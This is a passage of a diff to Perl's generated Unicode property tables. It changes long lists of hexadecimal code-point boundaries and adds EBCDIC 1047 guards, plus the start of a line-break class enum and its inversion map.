+	0xB840,
+	0xB841,
+	0xB85C,
+	0xB85D,
+	0xB878,
+	0xB879,
+	0xB894,
+	0xB895,
+	0xB8B0,
+	0xB8B1,
+	0xB8CC,
+	0xB8CD,
+	0xB8E8,
+	0xB8E9,
+	0xB904,
+	0xB905,
+	0xB920,
+	0xB921,
+	0xB93C,
+	0xB93D,
+	0xB958,
+	0xB959,
+	0xB974,
+	0xB975,
+	0xB990,
+	0xB991,
+	0xB9AC,
+	0xB9AD,
+	0xB9C8,
+	0xB9C9,
+	0xB9E4,
+	0xB9E5,
+	0xBA00,
+	0xBA01,
+	0xBA1C,
+	0xBA1D,
+	0xBA38,
+	0xBA39,
+	0xBA54,
+	0xBA55,
+	0xBA70,
+	0xBA71,
+	0xBA8C,
+	0xBA8D,
+	0xBAA8,
+	0xBAA9,
+	0xBAC4,
+	0xBAC5,
+	0xBAE0,
+	0xBAE1,
+	0xBAFC,
+	0xBAFD,
+	0xBB18,
+	0xBB19,
+	0xBB34,
+	0xBB35,
+	0xBB50,
+	0xBB51,
+	0xBB6C,
+	0xBB6D,
+	0xBB88,
+	0xBB89,
+	0xBBA4,
+	0xBBA5,
+	0xBBC0,
+	0xBBC1,
+	0xBBDC,
+	0xBBDD,
+	0xBBF8,
+	0xBBF9,
+	0xBC14,
+	0xBC15,
+	0xBC30,
+	0xBC31,
+	0xBC4C,
+	0xBC4D,
+	0xBC68,
+	0xBC69,
+	0xBC84,
+	0xBC85,
+	0xBCA0,
+	0xBCA1,
+	0xBCBC,
+	0xBCBD,
+	0xBCD8,
+	0xBCD9,
+	0xBCF4,
+	0xBCF5,
+	0xBD10,
+	0xBD11,
+	0xBD2C,
+	0xBD2D,
+	0xBD48,
+	0xBD49,
+	0xBD64,
+	0xBD65,
+	0xBD80,
+	0xBD81,
+	0xBD9C,
+	0xBD9D,
+	0xBDB8,
+	0xBDB9,
+	0xBDD4,
+	0xBDD5,
+	0xBDF0,
+	0xBDF1,
+	0xBE0C,
+	0xBE0D,
+	0xBE28,
+	0xBE29,
+	0xBE44,
+	0xBE45,
+	0xBE60,
+	0xBE61,
+	0xBE7C,
+	0xBE7D,
+	0xBE98,
+	0xBE99,
+	0xBEB4,
+	0xBEB5,
+	0xBED0,
+	0xBED1,
+	0xBEEC,
+	0xBEED,
+	0xBF08,
+	0xBF09,
+	0xBF24,
+	0xBF25,
+	0xBF40,
+	0xBF41,
+	0xBF5C,
+	0xBF5D,
+	0xBF78,
+	0xBF79,
+	0xBF94,
+	0xBF95,
+	0xBFB0,
+	0xBFB1,
+	0xBFCC,
+	0xBFCD,
+	0xBFE8,
+	0xBFE9,
+	0xC004,
+	0xC005,
+	0xC020,
+	0xC021,
+	0xC03C,
+	0xC03D,
+	0xC058,
+	0xC059,
+	0xC074,
+	0xC075,
+	0xC090,
+	0xC091,
+	0xC0AC,
+	0xC0AD,
+	0xC0C8,
+	0xC0C9,
+	0xC0E4,
+	0xC0E5,
+	0xC100,
+	0xC101,
+	0xC11C,
+	0xC11D,
+	0xC138,
+	0xC139,
+	0xC154,
+	0xC155,
+	0xC170,
+	0xC171,
+	0xC18C,
+	0xC18D,
+	0xC1A8,
+	0xC1A9,
+	0xC1C4,
+	0xC1C5,
+	0xC1E0,
+	0xC1E1,
+	0xC1FC,
+	0xC1FD,
+	0xC218,
+	0xC219,
+	0xC234,
+	0xC235,
+	0xC250,
+	0xC251,
+	0xC26C,
+	0xC26D,
+	0xC288,
+	0xC289,
+	0xC2A4,
+	0xC2A5,
+	0xC2C0,
+	0xC2C1,
+	0xC2DC,
+	0xC2DD,
+	0xC2F8,
+	0xC2F9,
+	0xC314,
+	0xC315,
+	0xC330,
+	0xC331,
+	0xC34C,
+	0xC34D,
+	0xC368,
+	0xC369,
+	0xC384,
+	0xC385,
+	0xC3A0,
+	0xC3A1,
+	0xC3BC,
+	0xC3BD,
+	0xC3D8,
+	0xC3D9,
+	0xC3F4,
+	0xC3F5,
+	0xC410,
+	0xC411,
+	0xC42C,
+	0xC42D,
+	0xC448,
+	0xC449,
+	0xC464,
+	0xC465,
+	0xC480,
+	0xC481,
+	0xC49C,
+	0xC49D,
+	0xC4B8,
+	0xC4B9,
+	0xC4D4,
+	0xC4D5,
+	0xC4F0,
+	0xC4F1,
+	0xC50C,
+	0xC50D,
+	0xC528,
+	0xC529,
+	0xC544,
+	0xC545,
+	0xC560,
+	0xC561,
+	0xC57C,
+	0xC57D,
+	0xC598,
+	0xC599,
+	0xC5B4,
+	0xC5B5,
+	0xC5D0,
+	0xC5D1,
+	0xC5EC,
+	0xC5ED,
+	0xC608,
+	0xC609,
+	0xC624,
+	0xC625,
+	0xC640,
+	0xC641,
+	0xC65C,
+	0xC65D,
+	0xC678,
+	0xC679,
+	0xC694,
+	0xC695,
+	0xC6B0,
+	0xC6B1,
+	0xC6CC,
+	0xC6CD,
+	0xC6E8,
+	0xC6E9,
+	0xC704,
+	0xC705,
+	0xC720,
+	0xC721,
+	0xC73C,
+	0xC73D,
+	0xC758,
+	0xC759,
+	0xC774,
+	0xC775,
+	0xC790,
+	0xC791,
+	0xC7AC,
+	0xC7AD,
+	0xC7C8,
+	0xC7C9,
+	0xC7E4,
+	0xC7E5,
+	0xC800,
+	0xC801,
+	0xC81C,
+	0xC81D,
+	0xC838,
+	0xC839,
+	0xC854,
+	0xC855,
+	0xC870,
+	0xC871,
+	0xC88C,
+	0xC88D,
+	0xC8A8,
+	0xC8A9,
+	0xC8C4,
+	0xC8C5,
+	0xC8E0,
+	0xC8E1,
+	0xC8FC,
+	0xC8FD,
+	0xC918,
+	0xC919,
+	0xC934,
+	0xC935,
+	0xC950,
+	0xC951,
+	0xC96C,
+	0xC96D,
+	0xC988,
+	0xC989,
+	0xC9A4,
+	0xC9A5,
+	0xC9C0,
+	0xC9C1,
+	0xC9DC,
+	0xC9DD,
+	0xC9F8,
+	0xC9F9,
+	0xCA14,
+	0xCA15,
+	0xCA30,
+	0xCA31,
+	0xCA4C,
+	0xCA4D,
+	0xCA68,
+	0xCA69,
+	0xCA84,
+	0xCA85,
+	0xCAA0,
+	0xCAA1,
+	0xCABC,
+	0xCABD,
+	0xCAD8,
+	0xCAD9,
+	0xCAF4,
+	0xCAF5,
+	0xCB10,
+	0xCB11,
+	0xCB2C,
+	0xCB2D,
+	0xCB48,
+	0xCB49,
+	0xCB64,
+	0xCB65,
+	0xCB80,
+	0xCB81,
+	0xCB9C,
+	0xCB9D,
+	0xCBB8,
+	0xCBB9,
+	0xCBD4,
+	0xCBD5,
+	0xCBF0,
+	0xCBF1,
+	0xCC0C,
+	0xCC0D,
+	0xCC28,
+	0xCC29,
+	0xCC44,
+	0xCC45,
+	0xCC60,
+	0xCC61,
+	0xCC7C,
+	0xCC7D,
+	0xCC98,
+	0xCC99,
+	0xCCB4,
+	0xCCB5,
+	0xCCD0,
+	0xCCD1,
+	0xCCEC,
+	0xCCED,
+	0xCD08,
+	0xCD09,
+	0xCD24,
+	0xCD25,
+	0xCD40,
+	0xCD41,
+	0xCD5C,
+	0xCD5D,
+	0xCD78,
+	0xCD79,
+	0xCD94,
+	0xCD95,
+	0xCDB0,
+	0xCDB1,
+	0xCDCC,
+	0xCDCD,
+	0xCDE8,
+	0xCDE9,
+	0xCE04,
+	0xCE05,
+	0xCE20,
+	0xCE21,
+	0xCE3C,
+	0xCE3D,
+	0xCE58,
+	0xCE59,
+	0xCE74,
+	0xCE75,
+	0xCE90,
+	0xCE91,
+	0xCEAC,
+	0xCEAD,
+	0xCEC8,
+	0xCEC9,
+	0xCEE4,
+	0xCEE5,
+	0xCF00,
+	0xCF01,
+	0xCF1C,
+	0xCF1D,
+	0xCF38,
+	0xCF39,
+	0xCF54,
+	0xCF55,
+	0xCF70,
+	0xCF71,
+	0xCF8C,
+	0xCF8D,
+	0xCFA8,
+	0xCFA9,
+	0xCFC4,
+	0xCFC5,
+	0xCFE0,
+	0xCFE1,
+	0xCFFC,
+	0xCFFD,
+	0xD018,
+	0xD019,
+	0xD034,
+	0xD035,
+	0xD050,
+	0xD051,
+	0xD06C,
+	0xD06D,
+	0xD088,
+	0xD089,
+	0xD0A4,
+	0xD0A5,
+	0xD0C0,
+	0xD0C1,
+	0xD0DC,
+	0xD0DD,
+	0xD0F8,
+	0xD0F9,
+	0xD114,
+	0xD115,
+	0xD130,
+	0xD131,
+	0xD14C,
+	0xD14D,
+	0xD168,
+	0xD169,
+	0xD184,
+	0xD185,
+	0xD1A0,
+	0xD1A1,
+	0xD1BC,
+	0xD1BD,
+	0xD1D8,
+	0xD1D9,
+	0xD1F4,
+	0xD1F5,
+	0xD210,
+	0xD211,
+	0xD22C,
+	0xD22D,
+	0xD248,
+	0xD249,
+	0xD264,
+	0xD265,
+	0xD280,
+	0xD281,
+	0xD29C,
+	0xD29D,
+	0xD2B8,
+	0xD2B9,
+	0xD2D4,
+	0xD2D5,
+	0xD2F0,
+	0xD2F1,
+	0xD30C,
+	0xD30D,
+	0xD328,
+	0xD329,
+	0xD344,
+	0xD345,
+	0xD360,
+	0xD361,
+	0xD37C,
+	0xD37D,
+	0xD398,
+	0xD399,
+	0xD3B4,
+	0xD3B5,
+	0xD3D0,
+	0xD3D1,
+	0xD3EC,
+	0xD3ED,
+	0xD408,
+	0xD409,
+	0xD424,
+	0xD425,
+	0xD440,
+	0xD441,
+	0xD45C,
+	0xD45D,
+	0xD478,
+	0xD479,
+	0xD494,
+	0xD495,
+	0xD4B0,
+	0xD4B1,
+	0xD4CC,
+	0xD4CD,
+	0xD4E8,
+	0xD4E9,
+	0xD504,
+	0xD505,
+	0xD520,
+	0xD521,
+	0xD53C,
+	0xD53D,
+	0xD558,
+	0xD559,
+	0xD574,
+	0xD575,
+	0xD590,
+	0xD591,
+	0xD5AC,
+	0xD5AD,
+	0xD5C8,
+	0xD5C9,
+	0xD5E4,
+	0xD5E5,
+	0xD600,
+	0xD601,
+	0xD61C,
+	0xD61D,
+	0xD638,
+	0xD639,
+	0xD654,
+	0xD655,
+	0xD670,
+	0xD671,
+	0xD68C,
+	0xD68D,
+	0xD6A8,
+	0xD6A9,
+	0xD6C4,
+	0xD6C5,
+	0xD6E0,
+	0xD6E1,
+	0xD6FC,
+	0xD6FD,
+	0xD718,
+	0xD719,
+	0xD734,
+	0xD735,
+	0xD750,
+	0xD751,
+	0xD76C,
+	0xD76D,
+	0xD788,
+	0xD789,
 	0xD7A4,
 	0xD7B0,
 	0xD7C7,
@@ -7354,13 +43530,7 @@
 	0xD7CB,
 	0xD7FC,
 	0xF900,
-	0xFA6E,
-	0xFA70,
-	0xFADA,
 	0xFB00,
-	0xFB07,
-	0xFB13,
-	0xFB18,
 	0xFB1D,
 	0xFB1E,
 	0xFB1F,
@@ -7376,36 +43546,97 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFBB2,
-	0xFBD3,
-	0xFC5E,
-	0xFC64,
+	0xFB50,
 	0xFD3E,
-	0xFD50,
-	0xFD90,
-	0xFD92,
-	0xFDC8,
-	0xFDF0,
-	0xFDFA,
-	0xFE71,
-	0xFE72,
-	0xFE73,
-	0xFE74,
-	0xFE77,
-	0xFE78,
-	0xFE79,
-	0xFE7A,
-	0xFE7B,
-	0xFE7C,
-	0xFE7D,
-	0xFE7E,
-	0xFE7F,
-	0xFEFD,
-	0xFF21,
+	0xFD3F,
+	0xFD40,
+	0xFDFC,
+	0xFDFD,
+	0xFE00,
+	0xFE10,
+	0xFE11,
+	0xFE13,
+	0xFE15,
+	0xFE17,
+	0xFE18,
+	0xFE19,
+	0xFE1A,
+	0xFE20,
+	0xFE30,
+	0xFE35,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE47,
+	0xFE48,
+	0xFE49,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE54,
+	0xFE56,
+	0xFE58,
+	0xFE59,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFE67,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6B,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF02,
+	0xFF04,
+	0xFF05,
+	0xFF06,
+	0xFF08,
+	0xFF09,
+	0xFF0A,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF20,
 	0xFF3B,
-	0xFF41,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
 	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0xFF65,
 	0xFF66,
+	0xFF67,
+	0xFF71,
 	0xFF9E,
 	0xFFA0,
 	0xFFBF,
@@ -7417,457 +43648,2909 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0x10000,
-	0x1000C,
-	0x1000D,
-	0x10027,
-	0x10028,
-	0x1003B,
-	0x1003C,
-	0x1003E,
-	0x1003F,
-	0x1004E,
-	0x10050,
-	0x1005E,
-	0x10080,
-	0x100FB,
-	0x10140,
-	0x10175,
-	0x10280,
-	0x1029D,
-	0x102A0,
-	0x102D1,
-	0x10300,
-	0x10320,
-	0x10330,
-	0x1034B,
-	0x10350,
+	0xFFE0,
+	0xFFE1,
+	0xFFE2,
+	0xFFE5,
+	0xFFE7,
+	0xFFF9,
+	0xFFFC,
+	0xFFFD,
+	0x10100,
+	0x10103,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
 	0x10376,
-	0x10380,
-	0x1039E,
+	0x1037B,
+	0x1039F,
 	0x103A0,
-	0x103C4,
-	0x103C8,
 	0x103D0,
 	0x103D1,
-	0x103D6,
-	0x10400,
-	0x1049E,
-	0x104B0,
-	0x104D4,
-	0x104D8,
-	0x104FC,
-	0x10500,
-	0x10528,
-	0x10530,
-	0x10564,
-	0x10600,
-	0x10737,
-	0x10740,
-	0x10756,
-	0x10760,
-	0x10768,
-	0x10800,
-	0x10806,
-	0x10808,
-	0x10809,
-	0x1080A,
-	0x10836,
-	0x10837,
-	0x10839,
-	0x1083C,
-	0x1083D,
-	0x1083F,
-	0x10856,
-	0x10860,
-	0x10877,
-	0x10880,
-	0x1089F,
-	0x108E0,
-	0x108F3,
-	0x108F4,
-	0x108F6,
-	0x10900,
-	0x10916,
+	0x104A0,
+	0x104AA,
+	0x10857,
+	0x10858,
+	0x1091F,
 	0x10920,
-	0x1093A,
-	0x10980,
-	0x109B8,
-	0x109BE,
-	0x109C0,
-	0x10A00,
 	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
 	0x10A10,
-	0x10A14,
-	0x10A15,
-	0x10A18,
-	0x10A19,
-	0x10A34,
-	0x10A60,
-	0x10A7D,
-	0x10A80,
-	0x10A9D,
-	0x10AC0,
-	0x10AC8,
-	0x10AC9,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10A50,
+	0x10A58,
 	0x10AE5,
-	0x10B00,
-	0x10B36,
+	0x10AE7,
+	0x10AF0,
+	0x10AF6,
+	0x10AF7,
+	0x10B39,
 	0x10B40,
-	0x10B56,
-	0x10B60,
-	0x10B73,
-	0x10B80,
-	0x10B92,
-	0x10C00,
-	0x10C49,
-	0x10C80,
-	0x10CB3,
-	0x10CC0,
-	0x10CF3,
+	0x11000,
 	0x11003,
 	0x11038,
+	0x11047,
+	0x11049,
+	0x11066,
+	0x11070,
+	0x1107F,
 	0x11083,
 	0x110B0,
-	0x110D0,
-	0x110E9,
+	0x110BB,
+	0x110BE,
+	0x110C2,
+	0x110F0,
+	0x110FA,
+	0x11100,
 	0x11103,
 	0x11127,
-	0x11150,
+	0x11135,
+	0x11136,
+	0x11140,
+	0x11144,
 	0x11173,
+	0x11174,
+	0x11175,
 	0x11176,
-	0x11177,
+	0x11180,
 	0x11183,
 	0x111B3,
 	0x111C1,
 	0x111C5,
+	0x111C7,
+	0x111C8,
+	0x111C9,
+	0x111CA,
+	0x111CD,
+	0x111D0,
 	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
-	0x11200,
-	0x11212,
-	0x11213,
+	0x111E0,
 	0x1122C,
-	0x11280,
-	0x11287,
-	0x11288,
-	0x11289,
-	0x1128A,
-	0x1128E,
-	0x1128F,
-	0x1129E,
-	0x1129F,
+	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
+	0x1123E,
+	0x1123F,
 	0x112A9,
-	0x112B0,
+	0x112AA,
 	0x112DF,
-	0x11305,
-	0x1130D,
-	0x1130F,
-	0x11311,
-	0x11313,
-	0x11329,
-	0x1132A,
-	0x11331,
-	0x11332,
-	0x11334,
-	0x11335,
-	0x1133A,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x1133C,
 	0x1133D,
 	0x1133E,
-	0x11350,
-	0x11351,
-	0x1135D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
 	0x11362,
-	0x11400,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
 	0x11435,
 	0x11447,
 	0x1144B,
-	0x11480,
+	0x1144F,
+	0x11450,
+	0x1145A,
+	0x1145B,
+	0x1145C,
 	0x114B0,
 	0x114C4,
-	0x114C6,
-	0x114C7,
-	0x114C8,
-	0x11580,
+	0x114D0,
+	0x114DA,
 	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115C2,
+	0x115C4,
+	0x115C6,
+	0x115C9,
 	0x115D8,
 	0x115DC,
-	0x11600,
+	0x115DE,
 	0x11630,
-	0x11644,
-	0x11645,
-	0x11680,
+	0x11641,
+	0x11643,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
 	0x116AB,
-	0x11700,
-	0x1171A,
-	0x118A0,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
+	0x1173C,
+	0x1173F,
 	0x118E0,
-	0x118FF,
-	0x11900,
-	0x11AC0,
-	0x11AF9,
-	0x11C00,
-	0x11C09,
-	0x11C0A,
+	0x118EA,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A40,
+	0x11A41,
+	0x11A45,
+	0x11A46,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA1,
+	0x11AA3,
 	0x11C2F,
+	0x11C37,
+	0x11C38,
 	0x11C40,
 	0x11C41,
+	0x11C46,
+	0x11C50,
+	0x11C5A,
+	0x11C70,
+	0x11C71,
 	0x11C72,
-	0x11C90,
-	0x12000,
-	0x1239A,
-	0x12400,
-	0x1246F,
-	0x12480,
-	0x12544,
-	0x13000,
-	0x1342F,
-	0x14400,
-	0x14647,
-	0x16800,
-	0x16A39,
-	0x16A40,
-	0x16A5F,
-	0x16AD0,
-	0x16AEE,
-	0x16B00,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12470,
+	0x12475,
+	0x13258,
+	0x1325B,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13286,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x1328A,
+	0x13379,
+	0x1337A,
+	0x1337C,
+	0x145CE,
+	0x145CF,
+	0x145D0,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AF0,
+	0x16AF5,
+	0x16AF6,
 	0x16B30,
-	0x16B40,
+	0x16B37,
+	0x16B3A,
 	0x16B44,
-	0x16B63,
-	0x16B78,
-	0x16B7D,
-	0x16B90,
-	0x16F00,
-	0x16F45,
-	0x16F50,
+	0x16B45,
+	0x16B50,
+	0x16B5A,
 	0x16F51,
+	0x16F7F,
+	0x16F8F,
 	0x16F93,
-	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
-	0x1BC00,
-	0x1BC6B,
-	0x1BC70,
-	0x1BC7D,
-	0x1BC80,
-	0x1BC89,
-	0x1BC90,
-	0x1BC9A,
-	0x1D400,
-	0x1D455,
-	0x1D456,
-	0x1D49D,
-	0x1D49E,
-	0x1D4A0,
-	0x1D4A2,
-	0x1D4A3,
-	0x1D4A5,
-	0x1D4A7,
-	0x1D4A9,
-	0x1D4AD,
-	0x1D4AE,
-	0x1D4BA,
-	0x1D4BB,
-	0x1D4BC,
-	0x1D4BD,
-	0x1D4C4,
-	0x1D4C5,
-	0x1D506,
-	0x1D507,
-	0x1D50B,
-	0x1D50D,
-	0x1D515,
-	0x1D516,
-	0x1D51D,
-	0x1D51E,
-	0x1D53A,
-	0x1D53B,
-	0x1D53F,
-	0x1D540,
-	0x1D545,
-	0x1D546,
-	0x1D547,
-	0x1D54A,
-	0x1D551,
-	0x1D552,
-	0x1D6A6,
-	0x1D6A8,
-	0x1D6C1,
-	0x1D6C2,
-	0x1D6DB,
-	0x1D6DC,
-	0x1D6FB,
-	0x1D6FC,
-	0x1D715,
-	0x1D716,
-	0x1D735,
-	0x1D736,
-	0x1D74F,
-	0x1D750,
-	0x1D76F,
-	0x1D770,
-	0x1D789,
-	0x1D78A,
-	0x1D7A9,
-	0x1D7AA,
-	0x1D7C3,
-	0x1D7C4,
-	0x1D7CC,
-	0x1E800,
-	0x1E8C5,
-	0x1E900,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA87,
+	0x1DA8B,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
 	0x1E944,
-	0x1EE00,
-	0x1EE04,
-	0x1EE05,
-	0x1EE20,
-	0x1EE21,
-	0x1EE23,
-	0x1EE24,
-	0x1EE25,
-	0x1EE27,
-	0x1EE28,
-	0x1EE29,
-	0x1EE33,
-	0x1EE34,
-	0x1EE38,
-	0x1EE39,
-	0x1EE3A,
-	0x1EE3B,
-	0x1EE3C,
-	0x1EE42,
-	0x1EE43,
-	0x1EE47,
-	0x1EE48,
-	0x1EE49,
-	0x1EE4A,
-	0x1EE4B,
-	0x1EE4C,
-	0x1EE4D,
-	0x1EE50,
-	0x1EE51,
-	0x1EE53,
-	0x1EE54,
-	0x1EE55,
-	0x1EE57,
-	0x1EE58,
-	0x1EE59,
-	0x1EE5A,
-	0x1EE5B,
-	0x1EE5C,
-	0x1EE5D,
-	0x1EE5E,
-	0x1EE5F,
-	0x1EE60,
-	0x1EE61,
-	0x1EE63,
-	0x1EE64,
-	0x1EE65,
-	0x1EE67,
-	0x1EE6B,
-	0x1EE6C,
-	0x1EE73,
-	0x1EE74,
-	0x1EE78,
-	0x1EE79,
-	0x1EE7D,
-	0x1EE7E,
-	0x1EE7F,
-	0x1EE80,
-	0x1EE8A,
-	0x1EE8B,
-	0x1EE9C,
-	0x1EEA1,
-	0x1EEA4,
-	0x1EEA5,
-	0x1EEAA,
-	0x1EEAB,
-	0x1EEBC,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1F000,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F385,
+	0x1F386,
+	0x1F39C,
+	0x1F39E,
+	0x1F3B5,
+	0x1F3B7,
+	0x1F3BC,
+	0x1F3BD,
+	0x1F3C2,
+	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
+	0x1F3CA,
+	0x1F3CD,
+	0x1F3FB,
+	0x1F400,
+	0x1F442,
+	0x1F444,
+	0x1F446,
+	0x1F451,
+	0x1F466,
+	0x1F46A,
+	0x1F46E,
+	0x1F46F,
+	0x1F470,
+	0x1F479,
+	0x1F47C,
+	0x1F47D,
+	0x1F481,
+	0x1F484,
+	0x1F485,
+	0x1F488,
+	0x1F4A0,
+	0x1F4A1,
+	0x1F4A2,
+	0x1F4A3,
+	0x1F4A4,
+	0x1F4A5,
+	0x1F4AA,
+	0x1F4AB,
+	0x1F4AF,
+	0x1F4B0,
+	0x1F4B1,
+	0x1F4B3,
+	0x1F500,
+	0x1F507,
+	0x1F517,
+	0x1F525,
+	0x1F532,
+	0x1F54A,
+	0x1F574,
+	0x1F576,
+	0x1F57A,
+	0x1F57B,
+	0x1F590,
+	0x1F591,
+	0x1F595,
+	0x1F597,
+	0x1F5D4,
+	0x1F5DC,
+	0x1F5F4,
+	0x1F5FA,
+	0x1F645,
+	0x1F648,
+	0x1F64B,
+	0x1F650,
+	0x1F676,
+	0x1F679,
+	0x1F67C,
+	0x1F680,
+	0x1F6A3,
+	0x1F6A4,
+	0x1F6B4,
+	0x1F6B7,
+	0x1F6C0,
+	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F918,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
+	0x1F926,
+	0x1F927,
+	0x1F930,
+	0x1F93A,
+	0x1F93D,
+	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
+	0x1FFFE,
 	0x20000,
-	0x2A6D7,
-	0x2A700,
-	0x2B735,
-	0x2B740,
-	0x2B81E,
-	0x2B820,
-	0x2CEA2,
-	0x2F800,
-	0x2FA1E
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
 };
 
+#   endif	/* EBCDIC 1047 */
+
 #endif	/* defined(PERL_IN_UTF8_C) */
 
-#if defined(PERL_IN_PERL_C)
+#if defined(PERL_IN_REGEXEC_C)
 
-static const UV _Perl_LB_invlist[] = { /* for ASCII/Latin1 */
-	2267,	/* Number of elements */
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+typedef enum {
+	LB_Alphabetic = 0,
+	LB_Break_After = 1,
+	LB_Break_Before = 2,
+	LB_Break_Both = 3,
+	LB_Break_Symbols = 4,
+	LB_Carriage_Return = 5,
+	LB_Close_Parenthesis = 6,
+	LB_Close_Punctuation = 7,
+	LB_Combining_Mark = 8,
+	LB_Contingent_Break = 9,
+	LB_E_Base = 10,
+	LB_E_Modifier = 11,
+	LB_Exclamation = 12,
+	LB_Glue = 13,
+	LB_H2 = 14,
+	LB_H3 = 15,
+	LB_Hebrew_Letter = 16,
+	LB_Hyphen = 17,
+	LB_Ideographic = 18,
+	LB_Infix_Numeric = 19,
+	LB_Inseparable = 20,
+	LB_JL = 21,
+	LB_JT = 22,
+	LB_JV = 23,
+	LB_Line_Feed = 24,
+	LB_Mandatory_Break = 25,
+	LB_Next_Line = 26,
+	LB_Nonstarter = 27,
+	LB_Numeric = 28,
+	LB_Open_Punctuation = 29,
+	LB_Postfix_Numeric = 30,
+	LB_Prefix_Numeric = 31,
+	LB_Quotation = 32,
+	LB_Regional_Indicator = 33,
+	LB_Space = 34,
+	LB_Word_Joiner = 35,
+	LB_ZWJ = 36,
+	LB_ZWSpace = 37,
+	LB_EDGE = 38
+} LB_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 1047 */
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Mandatory_Break,
+	LB_Carriage_Return,
+	LB_Combining_Mark,
+	LB_Line_Feed,
+	LB_Combining_Mark,
+	LB_Next_Line,
+	LB_Combining_Mark,
+	LB_Space,
+	LB_Glue,
+	LB_Alphabetic,
